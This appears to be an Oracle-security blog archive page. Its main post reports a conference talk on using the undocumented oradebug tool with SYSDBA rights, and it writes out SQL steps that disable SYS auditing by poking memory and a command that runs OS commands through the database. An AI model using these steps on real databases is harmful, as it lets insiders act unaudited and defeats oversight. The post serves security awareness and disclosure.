Archive for the ‘Oracle Security’ Category

2 Cebit 2012 Presentations about Database Security

Freitag, März 9th, 2012

I just uploaded 2 presentations I gave at the Cebit 2012.

DOAG 2011 Presentation „Best of Oracle Security 2011“

Freitag, November 18th, 2011

I just uploaded my DOAG 2011 presentation „Best of Oracle Security 2011„.

Oracle Critical Patch Update Pre-Release Announcement – October 2011

Samstag, Oktober 15th, 2011

Oracle released the Pre-Release Announcement for the Oracle CPU October 2011. The upcoming CPU will fix 4 issues in the Oracle database:

  • Application Express
  • Core RDBMS
  • Database Vault
  • Oracle Text

 The highest CVSS value is 6.5 (normally a SQL Injection vulnerability). None of the issues is remote exploitable.

Disable Auditing and running OS commands using oradebug

Samstag, September 17th, 2011

Currently I am staying at the Hacktivity 2011 conference in Budapest. I talked about Oracle Forensics (pdf of the presentation).The second talk was given by Laszlo Toth.  He showed at lot of interesting things, e.g. how to disable Oracle Audit and SYS Auditing using oradebug. His presentation will be available soon on his sooner or later webpage

oradebug is an undocumented (from Oracle) feature in all versions of Oracle which allows powerful activities if you have SYSDBA privileges (and getting SYSDBA privileges is easy as DBA). The peek/poke statement allows to read/modify the memory of the database:

Sample – disable Oracle SYS Auditing:

sqlplus / as sysdba

SQL> — get the offset for oradebug

SQL> select fsv.KSMFSNAM,sga.*
from x$ksmfsv fsv, x$ksmmem sga
where sga.addr=fsv.KSMFSADR
and fsv.ksmfsnam like ‚kzaflg_%‘;

—————- ———- ———- —————-
kzaflg_ 0000000060031BB0 26652 1 0000000000000001

SQL> show parameter audit;

———————————— ———– ——————————
audit_file_dest string /u01/app/oracle/admin/PSALES/adump
audit_sys_operations boolean TRUE
audit_syslog_level string
audit_trail string DB, EXTENDED

SQL> oradebug poke 0x60031bb0 1 0
BEFORE: [060031BB0, 060031BB4) = 00000001
AFTER: [060031BB0, 060031BB4) = 00000000

oradebug can also be used to disable standard auditing. oradebug makes Oracle products like Oracle Auditvault nearly useless because Oracle Auditvault relies on Oracle native auditing. A (SYS)DBA can switch off auditing for a few seconds, do activities without being audited and switch auditing on again. .

Another trick from Laszlo’s presentation was how to use oradebug to call OS commands via the database

SQL> oradebug call system „ls -la >/tmp/hacktivity.txt“

Later I will talk about Laszlo’s trick how to disable the Oracle authentication using oradebug.

Blackhat Training „HACKING AND SECURING ORACLE (2 days) „

Mittwoch, April 13th, 2011